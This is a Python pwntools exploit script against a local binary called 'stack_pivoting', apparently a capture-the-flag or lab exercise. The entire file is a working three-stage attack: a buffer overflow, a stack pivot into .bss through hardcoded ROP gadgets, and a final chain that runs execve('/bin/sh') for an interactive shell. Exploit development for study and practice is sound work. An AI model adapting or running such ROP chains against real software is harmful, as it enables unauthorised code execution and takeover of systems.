#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./stack_pivoting')

padding = 'a'*(56 - 8)
bss_buf = 0x006b6000 + 0x800 
padding += p64(bss_buf)
read_addr = 0x400bd8
pop_rsi_ret = 0x0000000000410103
pop_rax_ret = 0x0000000000415574
pop_rdx_ret = 0x0000000000449795
pop_rdi_ret = 0x0000000000400686
xor_rax_ret = 0x0000000000444ad0
leave_ret = 0x0000000000400bde
syscall = 0x000000000040126c

'''
Stage 1
'''
rop = flat(
    pop_rsi_ret , bss_buf , read_addr 
)
raw_input('1')
r.sendline(padding + rop) # len = 56 + 24

'''
Stage 2
'''
rop2 = flat(
    bss_buf , pop_rsi_ret , bss_buf + 0x20 
    , pop_rdx_ret , 88 , read_addr
)
raw_input('2')
r.sendline(rop2)

'''
Stage 3
'''
rop3 = flat(
    '/bin/sh\x00' , pop_rdi_ret , bss_buf + 0x20 , 
    pop_rsi_ret , 0 , pop_rdx_ret , 0 , 
    pop_rax_ret , 0x3b , syscall
)

r.sendline(rop3)

r.interactive()
